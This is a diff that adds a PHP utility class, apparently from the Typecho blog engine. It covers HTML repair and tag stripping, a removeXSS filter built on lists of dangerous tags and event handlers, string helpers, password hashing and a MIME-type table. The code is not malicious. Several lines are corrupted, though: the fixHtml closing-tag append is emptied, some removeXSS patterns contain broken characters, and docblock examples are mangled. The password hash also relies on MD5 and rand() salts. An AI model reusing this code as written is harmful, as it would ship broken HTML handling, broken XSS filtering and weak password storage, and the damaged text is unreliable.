    + + +EOF; + } + + exit; + } + + /** + * 判断类是否能被加载 + * 此函数会遍历所有的include目录, 所以会有一定的性能消耗, 但是不会很大 + * 可是我们依然建议你在必须检测一个类能否被加载时使用它, 它通常表现为以下两种情况 + * 1. 当需要被加载的类不存在时, 系统不会停止运行 (如果你不判断, 系统会因抛出严重错误而停止) + * 2. 你需要知道哪些类无法被加载, 以提示使用者 + * 除了以上情况, 你无需关注那些类无法被加载, 因为当它们不存在时系统会自动停止并报错 + * + * @access public + * @param string $className 类名 + * @param string $path 指定的路径名称 + * @return boolean + */ + public static function isAvailableClass($className, $path = NULL) + { + /** 获取所有include目录 */ + //增加安全目录检测 fix issue 106 + $dirs = array_map('realpath', array_filter(explode(PATH_SEPARATOR, get_include_path()), + array('Typecho_Common', '__safePath'))); + + $file = str_replace('_', '/', $className) . '.php'; + + if (!empty($path)) { + $path = realpath($path); + if (in_array($path, $dirs)) { + $dirs = array($path); + } else { + return false; + } + } + + foreach ($dirs as $dir) { + if (!empty($dir)) { + if (file_exists($dir . '/' . $file)) { + return true; + } + } + } + + return false; + } + + /** + * 检测是否在app engine上运行,屏蔽某些功能 + * + * @static + * @access public + * @return boolean + */ + public static function isAppEngine() + { + return !empty($_SERVER['HTTP_APPNAME']) // SAE + || !!getenv('HTTP_BAE_ENV_APPID') // BAE + || !!getenv('HTTP_BAE_LOGID') // BAE 3.0 + || (ini_get('acl.app_id') && class_exists('Alibaba')) // ACE + || (isset($_SERVER['SERVER_SOFTWARE']) && strpos($_SERVER['SERVER_SOFTWARE'],'Google App Engine') !== false) // GAE + ; + } + + /** + * 递归去掉数组反斜线 + * + * @access public + * @param mixed $value + * @return mixed + */ + public static function stripslashesDeep($value) + { + return is_array($value) ? array_map(array('Typecho_Common', 'stripslashesDeep'), $value) : stripslashes($value); + } + + /** + * 抽取多维数组的某个元素,组成一个新数组,使这个数组变成一个扁平数组 + * 使用方法: + * + * 2, 'banana' => 3), array('apple' => 10, 'banana' => 12)); + * $banana = Typecho_Common::arrayFlatten($fruit, 'banana'); + * print_r($banana); + * //outputs: array(0 => 3, 1 => 12); + * ?> + * + * + * @access public + * @param array $value 被处理的数组 + * @param string $key 需要抽取的键值 + * @return array + */ + public static function arrayFlatten(array $value, $key) + { + $result = array(); + + if ($value) { + foreach ($value as $inval) { + if (is_array($inval) && isset($inval[$key])) { + $result[] = $inval[$key]; + } else { + break; + } + } + } + + return $result; + } + + /** + * 根据parse_url的结果重新组合url + * + * @access public + * @param array $params 解析后的参数 + * @return string + */ + public static function buildUrl($params) + { + return (isset($params['scheme']) ? $params['scheme'] . '://' : NULL) + . (isset($params['user']) ? $params['user'] . (isset($params['pass']) ? ':' . $params['pass'] : NULL) . '@' : NULL) + . (isset($params['host']) ? $params['host'] : NULL) + . (isset($params['port']) ? ':' . $params['port'] : NULL) + . (isset($params['path']) ? $params['path'] : NULL) + . (isset($params['query']) ? '?' . $params['query'] : NULL) + . (isset($params['fragment']) ? '#' . $params['fragment'] : NULL); + } + + /** + * 根据count数目来输出字符 + * + * echo splitByCount(20, 10, 20, 30, 40, 50); + * + * + * @access public + * @param int $count + * @return string + */ + public static function splitByCount($count) + { + $sizes = func_get_args(); + array_shift($sizes); + + foreach ($sizes as $size) { + if ($count < $size) { + return $size; + } + } + + return 0; + } + + /** + * 自闭合html修复函数 + * 使用方法: + * + * $input = '这是一段被截断的html文本 + * + * @access public + * @param string $string 需要修复处理的字符串 + * @return string + */ + public static function fixHtml($string) + { + //关闭自闭合标签 + $startPos = strrpos($string, "<"); + + if (false == $startPos) { + return $string; + } + + $trimString = substr($string, $startPos); + + if (false === strpos($trimString, ">")) { + $string = substr($string, 0, $startPos); + } + + //非自闭合html标签列表 + preg_match_all("/<([_0-9a-zA-Z-\:]+)\s*([^>]*)>/is", $string, $startTags); + preg_match_all("/<\/([_0-9a-zA-Z-\:]+)>/is", $string, $closeTags); + + if (!empty($startTags[1]) && is_array($startTags[1])) { + krsort($startTags[1]); + $closeTagsIsArray = is_array($closeTags[1]); + foreach ($startTags[1] as $key => $tag) { + $attrLength = strlen($startTags[2][$key]); + if ($attrLength > 0 && "/" == trim($startTags[2][$key][$attrLength - 1])) { + continue; + } + if (!empty($closeTags[1]) && $closeTagsIsArray) { + if (false !== ($index = array_search($tag, $closeTags[1]))) { + unset($closeTags[1][$index]); + continue; + } + } + $string .= ""; + } + } + + return preg_replace("/\\s*\<\/p\>/is", '

    ', $string); + } + + /** + * 去掉字符串中的html标签 + * 使用方法: + * + * $input = '
    hello'; + * $output = Typecho_Common::stripTags($input, ); + * echo $output; + * //display: 'hello' + * + * + * @access public + * @param string $html 需要处理的字符串 + * @param string $allowableTags 需要忽略的html标签 + * @return string + */ + public static function stripTags($html, $allowableTags = NULL) + { + $normalizeTags = ''; + $allowableAttributes = array(); + + if (!empty($allowableTags) && preg_match_all("/\<([_a-z0-9-]+)([^>]*)\>/is", $allowableTags, $tags)) { + $normalizeTags = '<' . implode('><', array_map('strtolower', $tags[1])) . '>'; + $attributes = array_map('trim', $tags[2]); + foreach ($attributes as $key => $val) { + $allowableAttributes[strtolower($tags[1][$key])] = + array_map('strtolower', array_keys(self::__parseAttrs($val))); + } + } + + self::$_allowableAttributes = $allowableAttributes; + $html = strip_tags($html, $normalizeTags); + $html = preg_replace_callback("/<([_a-z0-9-]+)(\s+[^>]+)?>/is", + array('Typecho_Common', '__filterAttrs'), $html); + + return $html; + } + + /** + * 过滤用于搜索的字符串 + * + * @access public + * @param string $query 搜索字符串 + * @return string + */ + public static function filterSearchQuery($query) + { + return str_replace('-', ' ', self::slugName($query)); + } + + /** + * 将url中的非法字符串 + * + * @param string $url 需要过滤的url + * @return string + */ + public static function safeUrl($url) + { + //~ 针对location的xss过滤, 因为其特殊性无法使用removeXSS函数 + //~ fix issue 66 + $params = parse_url(str_replace(array("\r", "\n", "\t", ' '), '', $url)); + + /** 禁止非法的协议跳转 */ + if (isset($params['scheme'])) { + if (!in_array($params['scheme'], array('http', 'https'))) { + return '/'; + } + } + + /** 过滤解析串 */ + $params = array_map(array('Typecho_Common', '__removeUrlXss'), $params); + return self::buildUrl($params); + } + + /** + * 处理XSS跨站攻击的过滤函数 + * + * @author kallahar@kallahar.com + * @link http://kallahar.com/smallprojects/php_xss_filter_function.php + * @access public + * @param string $val 需要处理的字符串 + * @return string + */ + public static function removeXSS($val) + { + // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed + // this prevents some character re-spacing such as + // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs + $val = preg_replace('/([\x00-\x08]|[\x0b-\x0c]|[\x0e-\x19])/', '', $val); + + // straight replacements, the user should never need these since they're normal characters + // this prevents like + $search = 'abcdefghijklmnopqrstuvwxyz'; + $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; + $search .= '1234567890!@#$%^&*()'; + $search .= '~`";:?+/={}[]-_|\'\\'; + + for ($i = 0; $i < strlen($search); $i++) { + // ;? matches the ;, which is optional + // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars + + // @ @ search for the hex values + $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ; + // @ @ 0{0,7} matches '0' zero to seven times + $val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ; + } + + // now the only remaining whitespace attacks are \t, \n, and \r + $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); + $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'); + $ra = array_merge($ra1, $ra2); + + $found = true; // keep replacing as long as the previous round replaced something + while ($found == true) { + $val_before = $val; + for ($i = 0; $i < sizeof($ra); $i++) { + $pattern = '/'; + for ($j = 0; $j < strlen($ra[$i]); $j++) { + if ($j > 0) { + $pattern .= '('; + $pattern .= '(&#[xX]0{0,8}([9ab]);)'; + $pattern .= '|'; + $pattern .= '|(�{0,8}([9|10|13]);)'; + $pattern .= ')*'; + } + $pattern .= $ra[$i][$j]; + } + $pattern .= '/i'; + $replacement = substr($ra[$i], 0, 2).''.substr($ra[$i], 2); // add in <> to nerf the tag + $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags + + if ($val_before == $val) { + // no replacements were made, so exit the loop + $found = false; + } + } + } + + return $val; + } + + /** + * 宽字符串截字函数 + * + * @access public + * @param string $str 需要截取的字符串 + * @param integer $start 开始截取的位置 + * @param integer $length 需要截取的长度 + * @param string $trim 截取后的截断标示符 + * @return string + */ + public static function subStr($str, $start, $length, $trim = "...") + { + if (!strlen($str)) { + return ''; + } + + $iLength = self::strLen($str) - $start; + $tLength = $length < $iLength ? ($length - self::strLen($trim)) : $length; + + if (__TYPECHO_MB_SUPPORTED__) { + $str = mb_substr($str, $start, $tLength, self::$charset); + } else { + if ('UTF-8' == strtoupper(self::$charset)) { + if (preg_match_all("/./u", $str, $matches)) { + $str = implode('', array_slice($matches[0], $start, $tLength)); + } + } else { + $str = substr($str, $start, $tLength); + } + } + + return $length < $iLength ? ($str . $trim) : $str; + } + + /** + * 获取宽字符串长度函数 + * + * @access public + * @param string $str 需要获取长度的字符串 + * @return integer + */ + public static function strLen($str) + { + if (__TYPECHO_MB_SUPPORTED__) { + return mb_strlen($str, self::$charset); + } else { + return 'UTF-8' == strtoupper(self::$charset) + ? strlen(utf8_decode($str)) : strlen($str); + } + } + + /** + * 获取大写字符串 + * + * @param string $str + * @access public + * @return string + */ + public static function strToUpper($str) + { + if (__TYPECHO_MB_SUPPORTED__) { + return mb_strtoupper($str, self::$charset); + } else { + return 'UTF-8' == strtoupper(self::$charset) + ? preg_replace_callback("/[a-z]+/u", array('Typecho_Common', '__strToUpper'), $str) : strtoupper($str); + } + } + + /** + * 检查是否为合法的编码数据 + * + * @param string|array $str + * @return boolean + */ + public static function checkStrEncoding($str) + { + if (is_array($str)) { + return array_map(array('Typecho_Common', 'checkStrEncoding'), $str); + } + + if (__TYPECHO_MB_SUPPORTED__) { + return mb_check_encoding($str, self::$charset); + } else { + // just support utf-8 + return preg_match('//u', $str); + } + } + + /** + * 生成缩略名 + * + * @access public + * @param string $str 需要生成缩略名的字符串 + * @param string $default 默认的缩略名 + * @param integer $maxLength 缩略名最大长度 + * @return string + */ + public static function slugName($str, $default = NULL, $maxLength = 128) + { + $str = trim($str); + + if (!strlen($str)) { + return $default; + } + + if (__TYPECHO_MB_SUPPORTED__) { + mb_regex_encoding(self::$charset); + mb_ereg_search_init($str, "[\w" . preg_quote('_-') . "]+"); + $result = mb_ereg_search(); + $return = ''; + + if ($result) { + $regs = mb_ereg_search_getregs(); + $pos = 0; + do { + $return .= ($pos > 0 ? '-' : '') . $regs[0]; + $pos ++; + } while ($regs = mb_ereg_search_regs()); + } + + $str = $return; + } else if ('UTF-8' == strtoupper(self::$charset)) { + if (preg_match_all("/[\w" . preg_quote('_-') . "]+/u", $str, $matches)) { + $str = implode('-', $matches[0]); + } + } else { + $str = str_replace(array("'", ":", "\\", "/", '"'), "", $str); + $str = str_replace(array("+", ",", ' ', ',', ' ', ".", "?", "=", "&", "!", "<", ">", "(", ")", "[", "]", "{", "}"), "-", $str); + } + + $str = trim($str, '-_'); + $str = !strlen($str) ? $default : $str; + return substr($str, 0, $maxLength); + } + + /** + * 生成随机字符串 + * + * @access public + * @param integer $length 字符串长度 + * @param boolean $specialChars 是否有特殊字符 + * @return string + */ + public static function randString($length, $specialChars = false) + { + $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; + if ($specialChars) { + $chars .= '!@#$%^&*()'; + } + + $result = ''; + $max = strlen($chars) - 1; + for ($i = 0; $i < $length; $i++) { + $result .= $chars[rand(0, $max)]; + } + return $result; + } + + /** + * 对字符串进行hash加密 + * + * @access public + * @param string $string 需要hash的字符串 + * @param string $salt 扰码 + * @return string + */ + public static function hash($string, $salt = NULL) + { + /** 生成随机字符串 */ + $salt = empty($salt) ? self::randString(9) : $salt; + $length = strlen($string); + $hash = ''; + $last = ord($string[$length - 1]); + $pos = 0; + + /** 判断扰码长度 */ + if (strlen($salt) != 9) { + /** 如果不是9直接返回 */ + return; + } + + while ($pos < $length) { + $asc = ord($string[$pos]); + $last = ($last * ord($salt[($last % $asc) % 9]) + $asc) % 95 + 32; + $hash .= chr($last); + $pos ++; + } + + return '$T$' . $salt . md5($hash); + } + + /** + * 判断hash值是否相等 + * + * @access public + * @param string $from 源字符串 + * @param string $to 目标字符串 + * @return boolean + */ + public static function hashValidate($from, $to) + { + if ('$T$' == substr($to, 0, 3)) { + $salt = substr($to, 3, 9); + return self::hash($from, $salt) === $to; + } else { + return md5($from) === $to; + } + } + + /** + * 将路径转化为链接 + * + * @access public + * @param string $path 路径 + * @param string $prefix 前缀 + * @return string + */ + public static function url($path, $prefix) + { + $path = (0 === strpos($path, './')) ? substr($path, 2) : $path; + return rtrim($prefix, '/') . '/' . str_replace('//', '/', ltrim($path, '/')); + } + + /** + * 获取gravatar头像地址 + * + * @param string $mail + * @param int $size + * @param string $rating + * @param string $default + * @param bool $isSecure + * @return string + */ + public static function gravatarUrl($mail, $size, $rating, $default, $isSecure = false) + { + $url = $isSecure ? 'https://secure.gravatar.com' : 'http://www.gravatar.com'; + $url .= '/avatar/'; + + if (!empty($mail)) { + $url .= md5(strtolower(trim($mail))); + } + + $url .= '?s=' . $size; + $url .= '&r=' . $rating; + $url .= '&d=' . $default; + + return $url; + } + + /** + * 给javascript赋值加入扰码设计 + * + * @param string $value + * @return string + */ + public static function shuffleScriptVar($value) + { + $length = strlen($value); + $max = 3; + $offset = 0; + $result = array(); + $cut = array(); + + while ($length > 0) { + $len = rand(0, min($max, $length)); + $rand = "'" . self::randString(rand(1, $max)) . "'"; + + if ($len > 0) { + $val = "'" . substr($value, $offset, $len) . "'"; + $result[] = rand(0, 1) ? "//{$rand}\n{$val}" : "{$val}//{$rand}\n"; + } else { + if (rand(0, 1)) { + $result[] = rand(0, 1) ? "''///*{$rand}*/{$rand}\n" : "/* {$rand}//{$rand} */''"; + } else { + $result[] = rand(0, 1) ? "//{$rand}\n{$rand}" : "{$rand}//{$rand}\n"; + $cut[] = array($offset, strlen($rand) - 2 + $offset); + } + } + + $offset += $len; + $length -= $len; + } + + $name = '_' . self::randString(rand(3, 7)); + $cutName = '_' . self::randString(rand(3, 7)); + $var = implode('+', $result); + $cutVar = Json::encode($cut); + return "(function () { + var {$name} = {$var}, {$cutName} = {$cutVar}; + + for (var i = 0; i < {$cutName}.length; i ++) { + {$name} = {$name}.substring(0, {$cutName}[i][0]) + {$name}.substring({$cutName}[i][1]); + } + + return {$name}; +})();"; + } + + /** + * 过滤字段名 + * + * @access private + * @param mixed $result + * @return array + */ + public static function filterSQLite2ColumnName($result) + { + /** 如果结果为空,直接返回 */ + if (empty($result)) { + return $result; + } + + $tResult = array(); + + /** 遍历数组 */ + foreach ($result as $key => $val) { + /** 按点分隔 */ + if (false !== ($pos = strpos($key, '.'))) { + $key = substr($key, $pos + 1); + } + + $tResult[trim($key, '"')] = $val; + } + + return $tResult; + } + + /** + * 处理sqlite2的distinct count + * + * @param $sql + * @return string + */ + public static function filterSQLite2CountQuery($sql) + { + if (preg_match("/SELECT\s+COUNT\(DISTINCT\s+([^\)]+)\)\s+(AS\s+[^\s]+)?\s*FROM\s+(.+)/is", $sql, $matches)) { + return 'SELECT COUNT(' . $matches[1] . ') ' . $matches[2] . ' FROM SELECT DISTINCT ' + . $matches[1] . ' FROM ' . $matches[3]; + } + + return $sql; + } + + /** + * 获取图片 + * + * @access public + * @param string $fileName 文件名 + * @return string + */ + public static function mimeContentType($fileName) + { + //改为并列判断 + if (function_exists('mime_content_type')) { + return mime_content_type($fileName); + } + + if (function_exists('finfo_open')) { + $fInfo = @finfo_open(FILEINFO_MIME_TYPE); + + if (false !== $fInfo) { + $mimeType = finfo_file($fInfo, $fileName); + finfo_close($fInfo); + return $mimeType; + } + } + + $mimeTypes = array( + 'ez' => 'application/andrew-inset', + 'csm' => 'application/cu-seeme', + 'cu' => 'application/cu-seeme', + 'tsp' => 'application/dsptype', + 'spl' => 'application/x-futuresplash', + 'hta' => 'application/hta', + 'cpt' => 'image/x-corelphotopaint', + 'hqx' => 'application/mac-binhex40', + 'nb' => 'application/mathematica', + 'mdb' => 'application/msaccess', + 'doc' => 'application/msword', + 'dot' => 'application/msword', + 'bin' => 'application/octet-stream', + 'oda' => 'application/oda', + 'ogg' => 'application/ogg', + 'prf' => 'application/pics-rules', + 'key' => 'application/pgp-keys', + 'pdf' => 'application/pdf', + 'pgp' => 'application/pgp-signature', + 'ps' => 'application/postscript', + 'ai' => 'application/postscript', + 'eps' => 'application/postscript', + 'rss' => 'application/rss+xml', + 'rtf' => 'text/rtf', + 'smi' => 'application/smil', + 'smil' => 'application/smil', + 'wp5' => 'application/wordperfect5.1', + 'xht' => 'application/xhtml+xml', + 'xhtml' => 'application/xhtml+xml', + 'zip' => 'application/zip', + 'cdy' => 'application/vnd.cinderella', + 'mif' => 'application/x-mif', + 'xls' => 'application/vnd.ms-excel', + 'xlb' => 'application/vnd.ms-excel', + 'cat' => 'application/vnd.ms-pki.seccat', + 'stl' => 'application/vnd.ms-pki.stl', + 'ppt' => 'application/vnd.ms-powerpoint', + 'pps' => 'application/vnd.ms-powerpoint', + 'pot' => 'application/vnd.ms-powerpoint', + 'sdc' => 'application/vnd.stardivision.calc', + 'sda' => 'application/vnd.stardivision.draw', + 'sdd' => 'application/vnd.stardivision.impress', + 'sdp' => 'application/vnd.stardivision.impress', + 'smf' => 'application/vnd.stardivision.math', + 'sdw' => 'application/vnd.stardivision.writer', + 'vor' => 'application/vnd.stardivision.writer', + 'sgl' => 'application/vnd.stardivision.writer-global', + 'sxc' => 'application/vnd.sun.xml.calc', + 'stc' => 'application/vnd.sun.xml.calc.template', + 'sxd' => 'application/vnd.sun.xml.draw', + 'std' => 'application/vnd.sun.xml.draw.template', + 'sxi' => 'application/vnd.sun.xml.impress', + 'sti' => 'application/vnd.sun.xml.impress.template', + 'sxm' => 'application/vnd.sun.xml.math', + 'sxw' => 'application/vnd.sun.xml.writer', + 'sxg' => 'application/vnd.sun.xml.writer.global', + 'stw' => 'application/vnd.sun.xml.writer.template', + 'sis' => 'application/vnd.symbian.install', + 'wbxml' => 'application/vnd.wap.wbxml', + 'wmlc' => 'application/vnd.wap.wmlc', + 'wmlsc' => 'application/vnd.wap.wmlscriptc', + 'wk' => 'application/x-123', + 'dmg' => 'application/x-apple-diskimage', + 'bcpio' => 'application/x-bcpio', + 'torrent' => 'application/x-bittorrent', + 'cdf' => 'application/x-cdf', + 'vcd' => 'application/x-cdlink', + 'pgn' => 'application/x-chess-pgn', + 'cpio' => 'application/x-cpio', + 'csh' => 'text/x-csh', + 'deb' => 'application/x-debian-package', + 'dcr' => 'application/x-director', + 'dir' => 'application/x-director', + 'dxr' => 'application/x-director', + 'wad' => 'application/x-doom', + 'dms' => 'application/x-dms', + 'dvi' => 'application/x-dvi', + 'pfa' => 'application/x-font', + 'pfb' => 'application/x-font', + 'gsf' => 'application/x-font', + 'pcf' => 'application/x-font', + 'pcf.Z' => 'application/x-font', + 'gnumeric' => 'application/x-gnumeric', + 'sgf' => 'application/x-go-sgf', + 'gcf' => 'application/x-graphing-calculator', + 'gtar' => 'application/x-gtar', + 'tgz' => 'application/x-gtar', + 'taz' => 'application/x-gtar', + 'gz' => 'application/x-gtar', + 'hdf' => 'application/x-hdf', + 'phtml' => 'application/x-httpd-php', + 'pht' => 'application/x-httpd-php', + 'php' => 'application/x-httpd-php', + 'phps' => 'application/x-httpd-php-source', + 'php3' => 'application/x-httpd-php3', + 'php3p' => 'application/x-httpd-php3-preprocessed', + 'php4' => 'application/x-httpd-php4', + 'ica' => 'application/x-ica', + 'ins' => 'application/x-internet-signup', + 'isp' => 'application/x-internet-signup', + 'iii' => 'application/x-iphone', + 'jar' => 'application/x-java-archive', + 'jnlp' => 'application/x-java-jnlp-file', + 'ser' => 'application/x-java-serialized-object', + 'class' => 'application/x-java-vm', + 'js' => 'application/x-javascript', + 'chrt' => 'application/x-kchart', + 'kil' => 'application/x-killustrator', + 'kpr' => 'application/x-kpresenter', + 'kpt' => 'application/x-kpresenter', + 'skp' => 'application/x-koan', + 'skd' => 'application/x-koan', + 'skt' => 'application/x-koan', + 'skm' => 'application/x-koan', + 'ksp' => 'application/x-kspread', + 'kwd' => 'application/x-kword', + 'kwt' => 'application/x-kword', + 'latex' => 'application/x-latex', + 'lha' => 'application/x-lha', + 'lzh' => 'application/x-lzh', + 'lzx' => 'application/x-lzx', + 'frm' => 'application/x-maker', + 'maker' => 'application/x-maker', + 'frame' => 'application/x-maker', + 'fm' => 'application/x-maker', + 'fb' => 'application/x-maker', + 'book' => 'application/x-maker', + 'fbdoc' => 'application/x-maker', + 'wmz' => 'application/x-ms-wmz', + 'wmd' => 'application/x-ms-wmd', + 'com' => 'application/x-msdos-program', + 'exe' => 'application/x-msdos-program', + 'bat' => 'application/x-msdos-program', + 'dll' => 'application/x-msdos-program', + 'msi' => 'application/x-msi', + 'nc' => 'application/x-netcdf', + 'pac' => 'application/x-ns-proxy-autoconfig', + 'nwc' => 'application/x-nwc', + 'o' => 'application/x-object', + 'oza' => 'application/x-oz-application', + 'pl' => 'application/x-perl', + 'pm' => 'application/x-perl', + 'p7r' => 'application/x-pkcs7-certreqresp', + 'crl' => 'application/x-pkcs7-crl', + 'qtl' => 'application/x-quicktimeplayer', + 'rpm' => 'audio/x-pn-realaudio-plugin', + 'shar' => 'application/x-shar', + 'swf' => 'application/x-shockwave-flash', + 'swfl' => 'application/x-shockwave-flash', + 'sh' => 'text/x-sh', + 'sit' => 'application/x-stuffit', + 'sv4cpio' => 'application/x-sv4cpio', + 'sv4crc' => 'application/x-sv4crc', + 'tar' => 'application/x-tar', + 'tcl' => 'text/x-tcl', + 'tex' => 'text/x-tex', + 'gf' => 'application/x-tex-gf', + 'pk' => 'application/x-tex-pk', + 'texinfo' => 'application/x-texinfo', + 'texi' => 'application/x-texinfo', + '~' => 'application/x-trash', + '%' => 'application/x-trash', + 'bak' => 'application/x-trash', + 'old' => 'application/x-trash', + 'sik' => 'application/x-trash', + 't' => 'application/x-troff', + 'tr' => 'application/x-troff', + 'roff' => 'application/x-troff', + 'man' => 'application/x-troff-man', + 'me' => 'application/x-troff-me', + 'ms' => 'application/x-troff-ms', + 'ustar' => 'application/x-ustar', + 'src' => 'application/x-wais-source', + 'wz' => 'application/x-wingz', + 'crt' => 'application/x-x509-ca-cert', + 'fig' => 'application/x-xfig', + 'au' => 'audio/basic', + 'snd' => 'audio/basic', + 'mid' => 'audio/midi', + 'midi' => 'audio/midi', + 'kar' => 'audio/midi', + 'mpga' => 'audio/mpeg', + 'mpega' => 'audio/mpeg', + 'mp2' => 'audio/mpeg', + 'mp3' => 'audio/mpeg', + 'm3u' => 'audio/x-mpegurl', + 'sid' => 'audio/prs.sid', + 'aif' => 'audio/x-aiff', + 'aiff' => 'audio/x-aiff', + 'aifc' => 'audio/x-aiff', + 'gsm' => 'audio/x-gsm', + 'wma' => 'audio/x-ms-wma', + 'wax' => 'audio/x-ms-wax', + 'ra' => 'audio/x-realaudio', + 'rm' => 'audio/x-pn-realaudio', + 'ram' => 'audio/x-pn-realaudio', + 'pls' => 'audio/x-scpls', + 'sd2' => 'audio/x-sd2', + 'wav' => 'audio/x-wav', + 'pdb' => 'chemical/x-pdb', + 'xyz' => 'chemical/x-xyz', + 'bmp' => 'image/x-ms-bmp', + 'gif' => 'image/gif', + 'ief' => 'image/ief', + 'jpeg' => 'image/jpeg', + 'jpg' => 'image/jpeg', + 'jpe' => 'image/jpeg', + 'pcx' => 'image/pcx', + 'png' => 'image/png', + 'svg' => 'image/svg+xml', + 'svgz' => 'image/svg+xml', + 'tiff' => 'image/tiff', + 'tif' => 'image/tiff', + 'wbmp' => 'image/vnd.wap.wbmp', + 'ras' => 'image/x-cmu-raster', + 'cdr' => 'image/x-coreldraw', + 'pat' => 'image/x-coreldrawpattern', + 'cdt' => 'image/x-coreldrawtemplate', + 'djvu' => 'image/x-djvu', + 'djv' => 'image/x-djvu', + 'ico' => 'image/x-icon', + 'art' => 'image/x-jg', + 'jng' => 'image/x-jng', + 'psd' => 'image/x-photoshop', + 'pnm' => 'image/x-portable-anymap', + 'pbm' => 'image/x-portable-bitmap', + 'pgm' => 'image/x-portable-graymap', + 'ppm' => 'image/x-portable-pixmap', + 'rgb' => 'image/x-rgb', + 'xbm' => 'image/x-xbitmap', + 'xpm' => 'image/x-xpixmap', + 'xwd' => 'image/x-xwindowdump', + 'igs' => 'model/iges', + 'iges' => 'model/iges', + 'msh' => 'model/mesh', + 'mesh' => 'model/mesh', + 'silo' => 'model/mesh', + 'wrl' => 'x-world/x-vrml', + 'vrml' => 'x-world/x-vrml', + 'csv' => 'text/comma-separated-values', + 'css' => 'text/css', + '323' => 'text/h323', + 'htm' => 'text/html', + 'html' => 'text/html', + 'uls' => 'text/iuls', + 'mml' => 'text/mathml', + 'asc' => 'text/plain', + 'txt' => 'text/plain', + 'text' => 'text/plain', + 'diff' => 'text/plain', + 'rtx' => 'text/richtext', + 'sct' => 'text/scriptlet', + 'wsc' => 'text/scriptlet', + 'tm' => 'text/texmacs', + 'ts' => 'text/texmacs', + 'tsv' => 'text/tab-separated-values', + 'jad' => 'text/vnd.sun.j2me.app-descriptor', + 'wml' => 'text/vnd.wap.wml', + 'wmls' => 'text/vnd.wap.wmlscript', + 'xml' => 'text/xml', + 'xsl' => 'text/xml', + 'h++' => 'text/x-c++hdr', + 'hpp' => 'text/x-c++hdr', + 'hxx' => 'text/x-c++hdr', + 'hh' => 'text/x-c++hdr', + 'c++' => 'text/x-c++src', + 'cpp' => 'text/x-c++src', + 'cxx' => 'text/x-c++src', + 'cc' => 'text/x-c++src', + 'h' => 'text/x-chdr', + 'c' => 'text/x-csrc', + 'java' => 'text/x-java', + 'moc' => 'text/x-moc', + 'p' => 'text/x-pascal', + 'pas' => 'text/x-pascal', + '***' => 'text/x-pcs-***', + 'shtml' => 'text/x-server-parsed-html', + 'etx' => 'text/x-setext', + 'tk' => 'text/x-tcl', + 'ltx' => 'text/x-tex', + 'sty' => 'text/x-tex', + 'cls' => 'text/x-tex', + 'vcs' => 'text/x-vcalendar', + 'vcf' => 'text/x-vcard', + 'dl' => 'video/dl', + 'fli' => 'video/fli', + 'gl' => 'video/gl', + 'mpeg' => 'video/mpeg', + 'mpg' => 'video/mpeg', + 'mpe' => 'video/mpeg', + 'qt' => 'video/quicktime', + 'mov' => 'video/quicktime', + 'mxu' => 'video/vnd.mpegurl', + 'dif' => 'video/x-dv', + 'dv' => 'video/x-dv', + 'lsf' => 'video/x-la-asf', + 'lsx' => 'video/x-la-asf', + 'mng' => 'video/x-mng', + 'asf' => 'video/x-ms-asf', + 'asx' => 'video/x-ms-asf', + 'wm' => 'video/x-ms-wm', + 'wmv' => 'video/x-ms-wmv', + 'wmx' => 'video/x-ms-wmx', + 'wvx' => 'video/x-ms-wvx', + 'avi' => 'video/x-msvideo', + 'movie' => 'video/x-sgi-movie', + 'ice' => 'x-conference/x-cooltalk', + 'vrm' => 'x-world/x-vrml', + 'rar' => 'application/x-rar-compressed', + 'cab' => 'application/vnd.ms-cab-compressed' + ); + + $part = explode('.', $fileName); + $size = count($part); + + if ($size > 1) { + $ext = $part[$size - 1]; + if (isset($mimeTypes[$ext])) { + return $mimeTypes[$ext]; + } + } + + return 'application/octet-stream'; + } + + /** + * 寻找匹配的mime图标 + * + * @access public + * @param string $mime mime类型 + * @return string + */ + public static function mimeIconType($mime) + { + $parts = explode('/', $mime); + + if (count($parts) < 2) { + return 'unknown'; + } + + list ($type, $stream) = $parts; + + if (in_array($type, array('image', 'video', 'audio', 'text', 'application'))) { + switch (true) { + case in_array($stream, array('msword', 'msaccess', 'ms-powerpoint', 'ms-powerpoint')): + case 0 === strpos($stream, 'vnd.'): + return 'office'; + case false !== strpos($stream, 'html') || false !== strpos($stream, 'xml') || false !== strpos($stream, 'wml'): + return 'html'; + case false !== strpos($stream, 'compressed') || false !== strpos($stream, 'zip') || + in_array($stream, array('application/x-gtar', 'application/x-tar')): + return 'archive'; + case 'text' == $type && 0 === strpos($stream, 'x-'): + return 'script'; + default: + return $type; + } + } else { + return 